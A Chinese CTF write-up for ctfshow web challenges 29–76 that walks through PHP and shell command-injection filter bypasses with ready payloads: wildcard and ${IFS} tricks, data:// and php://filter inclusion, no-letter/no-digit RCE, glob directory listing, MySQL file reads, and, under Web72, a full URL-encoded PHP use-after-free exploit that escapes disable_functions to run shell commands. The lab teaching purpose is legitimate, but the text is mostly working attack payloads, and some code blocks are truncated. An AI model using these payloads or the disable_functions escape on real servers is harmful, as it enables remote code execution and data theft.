# Web29:
1 |
|
过滤了文件关键词,通配符绕过,cat f*,用 system 执行,发现没有成功读取,考虑使用 tac 倒序读取,得到 flag。
总结,文件关键词过滤可以考虑使用通配符绕过。
# Web30:
1 | error_reporting(0); |
过滤了 system,并且用的屎 eval 函数。
这里先试试反斜杠绕过,似乎无法绕过。
那么就试着反引号绕过,echo `ls`; ,成功绕过,之后直接 echo `tac fl*`; 读取 flag。
# Web31:
1 | error_reporting(0); |
这里发现空格,单引号被过滤了,还有小数点,没有过滤反引号,直接反引号绕过,成功绕过 system,cat 被过滤就 tac 读取,空格用 %0a 或者 %09 绕过。
前置知识:
空格过滤:
1 | %09 符号需要php环境 |
cat 过滤:
1 | more:一页一页的显示档案内容 |
# Web32:
1 | error_reporting(0); |
过滤了 system 和反引号还有 echo,这里看似挺严格的,但是 print_r 或者 var_dump 没有过滤,应该可以利用下,但是,system 被过滤了,只有无回显 RCE 了,但是,过滤了左半边括号,这样就没法绕了,试一试不需要括号的语句:
1 |
|
可以配合文件包含来打伪协议,具体 payload 类似下面这样:
1 | include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php |
# Web33:
1 |
|
多过滤了分号和双引号,反引号和空格等等依然被过滤了,这个时候似乎更难办了,还是打文件包含加伪协议来打:
1 | include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php |
# Web34:
1 |
|
多过滤了一个冒号,方法同上:
1 | include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php |
这里解释一下,这里出现冒号依旧绕过了的原因是因为 PHP 把前面的 include 到?> 的认为成一个 get 传参,另一个,也就是 & url 被认为是另一个传参,正则只检测第一个部分,第二个部分就不会检测了。
# Web35:
1 |
|
小于符号也被过滤了,不过无伤大雅,依旧老样子,因为没有过滤 >,所以依旧能用上面的 payload 打:
1 | include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php |
# Web36:
1 |
|
这里连带着数字一起过滤了,无伤大雅,继续文件包含一把梭:
1 | include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php |
# Web37:
1 |
|
文件包含过滤了 flag,这个时候可以考虑 include 一个 data 伪协议输入的命令参数,具体如下:
data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的 data:// 流会被当作 php 文件执行
第一:使用通配符绕过 flag:
?c=data://text/plain,
?c=data://text/plain,
第二:使用 base64 绕过 flag:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
#base64 解码为
<?php system('cat flag.php');?>
# Web38:
1 |
|
相较于上一个题多过滤了一层 php,使用 base64 绕过就行:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
或者,使用短标签绕过:
?c=data://text/plain,= system("tac fla?.???");?>
# Web39:
1 | //flag in flag.php |
过滤了 flag,但是文件包含里存在.php 的后缀,好像无伤大雅,和上一题一样,短标签打。
/?c=data://text/plain,= system("tac fla?.???");?>
由于两端合在一起就类似于 <?= system('tac fla*');?>.php
,.php 因为已经被标签闭合在外面,所以不会被当作文件包含的后缀算进去,依旧能进行 RCE。
# Web40:
1 | if(isset($_GET['c'])){ |
过滤了数字,和各种符号,但是过滤似乎有点儿问题,没有过滤英文的括号,过滤成了中文的括号,所以,无参数 RCE,可以一把梭:
1 | payload:?c=show_source(next(array_reverse(scandir(pos(localeconv()))))); |
前置知识:
1 | localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.) |
或者使用:
1 | 查看当前目录下文件 |
# Web41:
1 | if(isset($_POST['c'])){ |
无字母数字 RCE,并且因为过滤了 $、+、-、^、~ 所以无法使用异或、自增和取反绕过,不过,听说网上还有另一个操作,就是利用管道符,也就是 | 运算符,这里贴一下相关的文章:
无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)
ctfshow web 入门 web41
这里给了两个代码:
1 |
|
还有 python 的:
1 | # -*- coding: utf-8 -*- |
另一个,贴一下羽神的脚本,这个感觉更好用。
1 |
|
1 | # -*- coding: utf-8 -*- |
# Web42:
1 | if(isset($_GET['c'])){ |
对于这里的,可以参考下下面这篇文章: Shell 脚本 ———— /dev/null 2>&1 详解
这里如果只是想要解题的话,可以想办法让后面的不执行,或者前后分离开就行了,这里有如下几种方法:
; // 分号
| // 只执行后面那条命令
|| // 只执行前面那条命令
& // 两条命令都会执行
&& // 两条命令都会执行
# Web43:
1 | if(isset($_GET['c'])){ |
对比上一题,多了一层过滤,多了一个 cat 和分号,老样子,同一个 payload:
1 | ?c=tac fla* || |
再一次,贴一下可以绕过的方式:
1 | ?c=more flag.php|| |
# Web44:
1 | if(isset($_GET['c'])){ |
多过滤了 flag,通配符绕过:
1 | ?c=tac f* || |
# Web45:
1 | if(isset($_GET['c'])){ |
过滤了空格,老样子,IFS 绕过:
1 | c=tac${IFS}fla*|| |
# Web46:
1 | if(isset($_GET['c'])){ |
过滤了空格和星号,星号直接用问号绕过,空格使用 %09 绕过:
1 | ?c=tac%09fla?.php|| #这里的%09不属于数字 |
过滤了空格:
1 | >` `<` `<>` 重定向符 |
# Web47:
1 | if(isset($_GET['c'])){ |
过滤了除了 tac 以外的很大一部分读取文件的操作,flag 也被过滤了,还有空格和星号,绕过方式和上一个一样:
c=tac%09fla?.php||
# Web48:
1 | if(isset($_GET['c'])){ |
不是,怎么多了这么多不认识的命令?
不过无所谓,发现还是老样子,tac、管道符和问号没有被过滤,直接无脑冲:
c=tac%09fla?.php||
# Web49:
1 | if(isset($_GET['c'])){ |
没有过滤 tac,但是过滤了百分号,不过这里无伤大雅,因为 %09 不会被当作 %,所以直接
?c=tac%09fla?.php||
# Web50:
1 | if(isset($_GET['c'])){ |
丸辣,过滤了 \x09,没法过了,那就使用 <> 来绕过,不过,<> 和通配符?一起使用的时候不回显,所以用反斜杠绕过关键字 flag:
?c=tac<>fla\g.php||
# Web51:
1 | if(isset($_GET['c'])){ |
靠,tac 被过滤了,不过无所谓,system 函数在某些时候可以用反斜杠来分割关键字,直接一把梭:
?c=ta\c<>fla\g.php||
# Web52:
1 | if(isset($_GET['c'])){ |
丸辣,这里过滤了大小于符号,不过,突然发现好像没有过滤掉 $ 符号,很好,直接 IFS 绕过。
?c=ta\c${IFS}fla\g.php||
?c=ta\c${IFS}fl’'ag.php||
不过没有找到 flag,flag 会在哪里呢?在根目录找到了 flag。
# Web53:
1 | if(isset($_GET['c'])){ |
没啥说的,IFS 绕过一把梭:
?c=ta\c${IFS}fla\g.php
# Web54:
1 | if(isset($_GET['c'])){ |
这又是啥正则?ai 的解释如下(部分正确,不可全信):
这行代码是使用 PHP 的
preg_match
函数来检查一个字符串(假设为变量$c
)是否包含一系列特定的模式或字符。这些模式通常与尝试绕过安全限制、注入恶意代码或执行不期望的命令有关。下面是对这个正则表达式中各个部分的解释:
\;
:查找分号(;
),这通常用于命令分隔,在某些情况下可能被用于尝试执行多条命令。.*c.*a.*t.*
:查找包含cat
的字符串,cat
是一个常用于 Unix/Linux 系统中查看文件内容的命令。.*f.*l.*a.*g.*
:查找包含flag
的字符串,这可能是在尝试获取某种 “标志” 或敏感信息。[0-9]
:查找空格后跟任何数字,这可能是在尝试绕过基于特定字符的限制。\*
:查找星号(*
),在某些上下文中,它可能用于通配符匹配或具有特殊意义。.*m.*o.*r.*e.*
、.*w.*g.*e.*t.*
、.*l.*e.*s.*s.*
等:这些模式分别查找包含more
、wget
、less
等命令的字符串,这些命令通常用于文件操作或数据传输。.*h.*e.*a.*d.*
、.*s.*o.*r.*t.*
、.*t.*a.*i.*l.*
等:查找包含head
、sort
、tail
等 Unix/Linux 命令的字符串,这些命令用于处理文本数据。.*s.*e.*d.*
、.*c.*u.*t.*
、.*t.*a.*c.*
等:查找包含sed
、cut
、tac
等命令的字符串,这些命令用于文本处理。.*a.*w.*k.*
:查找包含awk
的字符串,awk
是一个强大的文本处理工具。.*s.*t.*r.*i.*n.*g.*s.*
:查找包含strings
的字符串,strings
命令用于提取二进制文件中的可打印字符串。.*o.*d.*
:查找包含od
的字符串,od
(八进制转储)命令用于以八进制或其他格式转储文件内容。.*c.*u.*r.*l.*
:查找包含curl
的字符串,curl
是一个用于传输数据的命令行工具。.*n.*l.*
:可能意图查找包含nl
的字符串,但此模式较为宽泛,因为n
和l
是常见字母。.*s.*c.*p.*
:查找包含scp
的字符串,scp
是安全复制命令,用于在本地和远程之间安全地传输文件。.*r.*m.*
:查找包含rm
的字符串,rm
命令用于删除文件或目录。\
、%
、\x09
、\x26
、>
、<
:查找反引号(```)、百分号(%
)、制表符(\x09
)、&
符号的 HTML 实体(\x26
)、大于号(>
)、小于号(<
),这些字符或模式可能在尝试执行命令或注入代码时具有特殊意义。整个正则表达式使用了
i
修饰符,表示不区分大小写。如果preg_match
返回false
(即没有找到匹配项),则意味着字符串$c
不包含上述任何敏感模式或字符。这通常用于安全检查,以防止潜在的恶意输入。
这里直接用下面这个方式绕:
1 | ?c=grep${IFS}'{'${IFS}fl???php |
# Web55:
1 | // 你们在炫技吗? |
终于到了新玩意儿了,无字母 RCE,有几种方法:
查看源代码发现没有过滤数字,我们就想一想在我们查看文件的命令有没有数字开头的。
匹配到 /bin 目录下的命令
cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64 等
发现存在一个 base64
我们就可以通过通配符进行匹配命令执行查看 flag.php
payload:
1 | ?c=/???/????64 ????.??? |
# Web56:
1 | // 你们在炫技吗? |
还是 system,不过这次多过滤了字母。用下面这个脚本去跑,不过原理不是很清楚,贴一个链接,有条件就去学习一下。
LINUX 中的点命令,或 source 命令,或点符号
无字母数字 webshell 之提高篇
python 脚本如下:
1 | import time |
另外还需要创建一个 a.txt 文件,里面的内容为 cat flag.php
# Web57:
1 | // 还能炫的动吗? |
这个似乎可以取反做:
在 liunx 中,$(()) 为 0 , (()))) 为 - 1 ~ (()) 中有 37 个(()))) 在加上取反,也就是(()))) 中有 37 个 - 1
先贴一个无字母数字 RCE 的总结:
无字母数字 webshell 总结
无数字字母 rce 总结(取反、异或、自增、临时文件)
可惜,做题的这个考点似乎这两篇文章里没有:
双小括号 (()) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。 通俗地讲,就是将数学运算表达式放在 ((和)) 之间。 表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( )) 命令的执行结果。 可以使用获得变量值是类似的。 可以在 (()) 前面加上((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。 注意,类似 c=((a+b)) 这样的写法是错误的,不加 $ 就不能取得表达式的结果。
1 | echo ${_} #返回上一次的执行结果` |
所以 payload:
1 | ?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))) |
可以用这个脚本生成简单的数字:
1 | num_1 = "$((~$(())))" |
# Web58:
1 | // 你们在炫技吗? |
乍一看,好像很简单,不过,当我 post 了一个 phpinfo 之后,发现了函数被禁了:
1 | Warning: phpinfo() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1 |
建议直接 fuzz 一下,看看具体哪些被 ban 了,这里就直接 show_source 了:
c=show_source(‘flag.php’);
c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
# Web59:
1 | // 你们在炫技吗? |
具体不知道有些啥被 ban 了,只能一个个测,结果和上一题一样,show_source 依旧过了:
c=show_source(“flag.php”);
# Web60:
1 | 题目: |
一模一样,直接给 paylaod:
c=show_source(“flag.php”);
# Web61:
1 | // 你们在炫技吗? |
show_source 百试不爽啊。
c=show_source(“flag.php”);
# Web62:
1 | // 你们在炫技吗? |
c=show_source(“flag.php”);
# Web63:
1 | // 你们在炫技吗? |
c=show_source(“flag.php”);
# Web64:
1 | // 你们在炫技吗? |
c=show_source(“flag.php”);
# Web65:
1 | // 你们在炫技吗? |
c=show_source(“flag.php”);
# Web66:
1 | // 你们在炫技吗? |
show_source 函数被 ban 了,highlight_file 没有被 ban,试试看,结果 flag 没有在 flag.php 里,通过如下 payload 发现 flag 在根目录下:
1 | c=print_r(scandir("/")); |
那就用 highlight_file 去读根目录:
# Web67:
1 | // 你们在炫技吗? |
print_r 被过滤了,试试看 var_dump,没有被过滤,继续 scandir 去读目录结构。
1 | c=var_dump(scandir("/")); |
# Web68:
由于 highlight_file () 被 ban 了,读不到源码,所以就直接开打了,先测一下 var_dump,var_dump 和 scandir 都没有被 ban,直接读根目录,找到了 flag.txt:
1 | c=var_dump(scandir("/")); |
之后就是其他手法了,根据 txt 文件,推测 flag 应该不会被当作 php 代码执行,所以试着使用文件包含等手法读 flag:
1 | c=include("/flag.txt"); |
# Web69:
ban 了 highlight_file、var_dump,那就用 var_export,输出目录结构:
1 | c=var_export(scandir("/")); |
之后 include 包含 /flag.txt 文件即可得到 flag。
# Web70:
通过 var_export 读取文件目录结构,再用 include 包含 /flag.txt,和上面几个题没有任何区别。
# Web71:
附件里给了源码:
1 |
|
有几个点需要注意:
1 | $s = ob_get_contents();//得到缓冲区的数据。 |
也就是说,这里需要在执行上面两个函数之前,把程序输出出来就行了,这个时候,就可以选择提前结束掉整个程序,因为缓冲区就是在程序结束之前需要将里面的所有内容全部输出才行:
1 | c=var_export(scandir('/'));exit(); |
之后就
1 | c=include("/flag.txt");exit(); |
# Web72:
1 |
|
scandir 被禁了,这里没什么思路,不过,这里有大佬通过 glob 伪协议读取了根目录文件名:
1 | c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f." " ;}exit(); |
通过 include 读取文件的时候发现没有权限,先列一些读取文件的函数吧:
1 | readfile($filename); |
之后就是利用 uaf 脚本进行命令执行了:
1 | c= |
直接贴一个 payload:
1 | c=%3f%3e%3c%3fphp%0apwn(%22ls+%2f%3bcat+%2fflag0.txt%22)%3b%0a%0afunction+pwn(%24cmd)+%7b%0a++++global+%24abc%2c+%24helper%2c+%24backtrace%3b%0a++++class+Vuln+%7b%0a++++++++public+%24a%3b%0a++++++++public+function+__destruct()+%7b+%0a++++++++++++global+%24backtrace%3b+%0a++++++++++++unset(%24this-%3ea)%3b%0a++++++++++++%24backtrace+%3d+(new+Exception)-%3egetTrace()%3b+%23+%3b)%0a++++++++++++if(!isset(%24backtrace%5b1%5d%5b%27args%27%5d))+%7b+%23+PHP+%3e%3d+7.4%0a++++++++++++++++%24backtrace+%3d+debug_backtrace()%3b%0a++++++++++++%7d%0a++++++++%7d%0a++++%7d%0a%0a++++class+Helper+%7b%0a++++++++public+%24a%2c+%24b%2c+%24c%2c+%24d%3b%0a++++%7d%0a%0a++++function+str2ptr(%26%24str%2c+%24p+%3d+0%2c+%24s+%3d+8)+%7b%0a++++++++%24address+%3d+0%3b%0a++++++++for(%24j+%3d+%24s-1%3b+%24j+%3e%3d+0%3b+%24j--)+%7b%0a++++++++++++%24address+%3c%3c%3d+8%3b%0a++++++++++++%24address+%7c%3d+ord(%24str%5b%24p%2b%24j%5d)%3b%0a++++++++%7d%0a++++++++return+%24address%3b%0a++++%7d%0a%0a++++function+ptr2str(%24ptr%2c+%24m+%3d+8)+%7b%0a++++++++%24out+%3d+%22%22%3b%0a++++++++for+(%24i%3d0%3b+%24i+%3c+%24m%3b+%24i%2b%2b)+%7b%0a++++++++++++%24out+.%3d+sprintf(%27%25c%27%2c%24ptr+%26+0xff)%3b%0a++++++++++++%24ptr+%3e%3e%3d+8%3b%0a++++++++%7d%0a++++++++return+%24out%3b%0a++++%7d%0a%0a++++function+write(%26%24str%2c+%24p%2c+%24v%2c+%24n+%3d+8)+%7b%0a++++++++%24i+%3d+0%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24n%3b+%24i%2b%2b)+%7b%0a++++++++++++%24str%5b%24p+%2b+%24i%5d+%3d+sprintf(%27%25c%27%2c%24v+%26+0xff)%3b%0a++++++++++++%24v+%3e%3e%3d+8%3b%0a++++++++%7d%0a++++%7d%0a%0a++++function+leak(%24addr%2c+%24p+%3d+0%2c+%24s+%3d+8)+%7b%0a++++++++global+%24abc%2c+%24helper%3b%0a++++++++write(%24abc%2c+0x68%2c+%24addr+%2b+%24p+-+0x10)%3b%0a++++++++%24leak+%3d+strlen(%24helper-%3ea)%3b%0a++++++++if(%24s+!%3d+8)+%7b+%24leak+%25%3d+2+%3c%3c+(%24s+*+8)+-+1%3b+%7d%0a++++++++return+%24leak%3b%0a++++%7d%0a%0a++++function+parse_elf(%24base)+%7b%0a++++++++%24e_type+%3d+leak(%24base%2c+0x10%2c+2)%3b%0a%0a++++++++%24e_phoff+%3d+leak(%24base%2c+0x20)%3b%0a++++++++%24e_phentsize+%3d+leak(%24base%2c+0x36%2c+2)%3b%0a++++++++%24e_phnum+%3d+leak(%24base%2c+0x38%2c+2)%3b%0a%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24e_phnum%3b+%24i%2b%2b)+%7b%0a++++++++++++%24header+%3d+%24base+%2b+%24e_phoff+%2b+%24i+*+%24e_phentsize%3b%0a++++++++++++%24p_type++%3d+leak(%24header%2c+0%2c+4)%3b%0a++++++++++++%24p_flags+%3d+leak(%24header%2c+4%2c+4)%3b%0a++++++++++++%24p_vaddr+%3d+leak(%24header%2c+0x10)%3b%0a++++++++++++%24p_memsz+%3d+leak(%24header%2c+0x28)%3b%0a%0a++++++++++++if(%24p_type+%3d%3d+1+%26%26+%24p_flags+%3d%3d+6)+%7b+%23+PT_LOAD%2c+PF_Read_Write%0a++++++++++++++++%23+handle+pie%0a++++++++++++++++%24data_addr+%3d+%24e_type+%3d%3d+2+%3f+%24p_vaddr+%3a+%24base+%2b+%24p_vaddr%3b%0a++++++++++++++++%24data_size+%3d+%24p_memsz%3b%0a++++++++++++%7d+else+if(%24p_type+%3d%3d+1+%26%26+%24p_flags+%3d%3d+5)+%7b+%23+PT_LOAD%2c+PF_Read_exec%0a++++++++++++++++%24text_size+%3d+%24p_memsz%3b%0a++++++++++++%7d%0a++++++++%7d%0a%0a++++++++if(!%24data_addr+%7c%7c+!%24text_size+%7c%7c+!%24data_size)%0a++++++++++++return+false%3b%0a%0a++++++++return+%5b%24data_addr%2c+%24text_size%2c+%24data_size%5d%3b%0a++++%7d%0a%0a++++function+get_basic_funcs(%24base%2c+%24elf)+%7b%0a++++++++list(%24data_addr%2c+%24text_size%2c+%24data_size)+%3d+%24elf%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24data_size+%2f+8%3b+%24i%2b%2b)+%7b%0a++++++++++++%24leak+%3d+leak(%24data_addr%2c+%24i+*+8)%3b%0a++++++++++++if(%24leak+-+%24base+%3e+0+%26%26+%24leak+-+%24base+%3c+%24data_addr+-+%24base)+%7b%0a++++++++++++++++%24deref+%3d+leak(%24leak)%3b%0a++++++++++++++++%23+%27constant%27+constant+check%0a++++++++++++++++if(%24deref+!%3d+0x746e6174736e6f63)%0a++++++++++++++++++++continue%3b%0a++++++++++++%7d+else+continue%3b%0a%0a++++++++++++%24leak+%3d+leak(%24data_addr%2c+(%24i+%2b+4)+*+8)%3b%0a++++++++++++if(%24leak+-+%24base+%3e+0+%26%26+%24leak+-+%24base+%3c+%24data_addr+-+%24base)+%7b%0a++++++++++++++++%24deref+%3d+leak(%24leak)%3b%0a++++++++++++++++%23+%27bin2hex%27+constant+check%0a++++++++++++++++if(%24deref+!%3d+0x786568326e6962)%0a++++++++++++++++++++continue%3b%0a++++++++++++%7d+else+continue%3b%0a%0a++++++++++++return+%24data_addr+%2b+%24i+*+8%3b%0a++++++++%7d%0a++++%7d%0a%0a++++function+get_binary_base(%24binary_leak)+%7b%0a++++++++%24base+%3d+0%3b%0a++++++++%24start+%3d+%24binary_leak+%26+0xfffffffffffff000%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+0x1000%3b+%24i%2b%2b)+%7b%0a++++++++++++%24addr+%3d+%24start+-+0x1000+*+%24i%3b%0a++++++++++++%24leak+%3d+leak(%24addr%2c+0%2c+7)%3b%0a++++++++++++if(%24leak+%3d%3d+0x10102464c457f)+%7b+%23+ELF+header%0a++++++++++++++++return+%24addr%3b%0a++++++++++++%7d%0a++++++++%7d%0a++++%7d%0a%0a++++function+get_system(%24basic_funcs)+%7b%0a++++++++%24addr+%3d+%24basic_funcs%3b%0a++++++++do+%7b%0a++++++++++++%24f_entry+%3d+leak(%24addr)%3b%0a++++++++++++%24f_name+%3d+leak(%24f_entry%2c+0%2c+6)%3b%0a%0a++++++++++++if(%24f_name+%3d%3d+0x6d6574737973)+%7b+%23+system%0a++++++++++++++++return+leak(%24addr+%2b+8)%3b%0a++++++++++++%7d%0a++++++++++++%24addr+%2b%3d+0x20%3b%0a++++++++%7d+while(%24f_entry+!%3d+0)%3b%0a++++++++return+false%3b%0a++++%7d%0a%0a++++function+trigger_uaf(%24arg)+%7b%0a++++++++%23+str_shuffle+prevents+opcache+string+interning%0a++++++++%24arg+%3d+str_shuffle(%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27)%3b%0a++++++++%24vuln+%3d+new+Vuln()%3b%0a++++++++%24vuln-%3ea+%3d+%24arg%3b%0a++++%7d%0a%0a++++if(stristr(PHP_OS%2c+%27WIN%27))+%7b%0a++++++++die(%27This+PoC+is+for+*nix+systems+only.%27)%3b%0a++++%7d%0a%0a++++%24n_alloc+%3d+10%3b+%23+increase+this+value+if+UAF+fails%0a++++%24contiguous+%3d+%5b%5d%3b%0a++++for(%24i+%3d+0%3b+%24i+%3c+%24n_alloc%3b+%24i%2b%2b)%0a++++++++%24contiguous%5b%5d+%3d+str_shuffle(%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27)%3b%0a%0a++++trigger_uaf(%27x%27)%3b%0a++++%24abc+%3d+%24backtrace%5b1%5d%5b%27args%27%5d%5b0%5d%3b%0a%0a++++%24helper+%3d+new+Helper%3b%0a++++%24helper-%3eb+%3d+function+(%24x)+%7b+%7d%3b%0a%0a++++if(strlen(%24abc)+%3d%3d+79+%7c%7c+strlen(%24abc)+%3d%3d+0)+%7b%0a++++++++die(%22UAF+failed%22)%3b%0a++++%7d%0a%0a++++%23+leaks%0a++++%24closure_handlers+%3d+str2ptr(%24abc%2c+0)%3b%0a++++%24php_heap+%3d+str2ptr(%24abc%2c+0x58)%3b%0a++++%24abc_addr+%3d+%24php_heap+-+0xc8%3b%0a%0a++++%23+fake+value%0a++++write(%24abc%2c+0x60%2c+2)%3b%0a++++write(%24abc%2c+0x70%2c+6)%3b%0a%0a++++%23+fake+reference%0a++++write(%24abc%2c+0x10%2c+%24abc_addr+%2b+0x60)%3b%0a++++write(%24abc%2c+0x18%2c+0xa)%3b%0a%0a++++%24closure_obj+%3d+str2ptr(%24abc%2c+0x20)%3b%0a%0a++++%24binary_leak+%3d+leak(%24closure_handlers%2c+8)%3b%0a++++if(!(%24base+%3d+get_binary_base(%24binary_leak)))+%7b%0a++++++++die(%22Couldn%27t+determine+binary+base+address%22)%3b%0a++++%7d%0a%0a++++if(!(%24elf+%3d+parse_elf(%24base)))+%7b%0a++++++++die(%22Couldn%27t+parse+ELF+header%22)%3b%0a++++%7d%0a%0a++++if(!(%24basic_funcs+%3d+get_basic_funcs(%24base%2c+%24elf)))+%7b%0a++++++++die(%22Couldn%27t+get+basic_functions+address%22)%3b%0a++++%7d%0a%0a++++if(!(%24zif_system+%3d+get_system(%24basic_funcs)))+%7b%0a++++++++die(%22Couldn%27t+get+zif_system+address%22)%3b%0a++++%7d%0a%0a++++%23+fake+closure+object%0a++++%24fake_obj_offset+%3d+0xd0%3b%0a++++for(%24i+%3d+0%3b+%24i+%3c+0x110%3b+%24i+%2b%3d+8)+%7b%0a++++++++write(%24abc%2c+%24fake_obj_offset+%2b+%24i%2c+leak(%24closure_obj%2c+%24i))%3b%0a++++%7d%0a%0a++++%23+pwn%0a++++write(%24abc%2c+0x20%2c+%24abc_addr+%2b+%24fake_obj_offset)%3b%0a++++write(%24abc%2c+0xd0+%2b+0x38%2c+1%2c+4)%3b+%23+internal+func+type%0a++++write(%24abc%2c+0xd0+%2b+0x68%2c+%24zif_system)%3b+%23+internal+func+handler%0a%0a++++(%24helper-%3eb)(%24cmd)%3b%0a++++exit()%3b%0a%7d |
# Web73:
又是,没源码,那就 glob 遍历文件目录吧,当然 var_export 也可以做到这里没有被 ban:
1 | c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f." " ;}exit(); |
突然发现 include 读取文件又可以了,直接读:
1 | c=indlude("/flagc.txt");exit(); |
# Web74:
这一题 ban 了 scandir,那就直接 glob 绕过:
1 | c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f." " ;}exit(); |
之后 include 去读。
# Web75:
glob 读根目录结构:
1 | c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f." " ;}exit(); |
多次测试,发现无法读取文件,可以试着利用 mysql 去读取文件:
1 | c=try { |
简单解释一下这个 payload:
1 | try { |
# Web76:
还是 glob 读文件:
1 | c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f." " ;}exit(); |
还是老样子,MySQL 读文件一把梭:
1 | c=try { |
# 一些总结文章:
总结 rce(远程代码执行各种 sao 姿势)绕过 bypass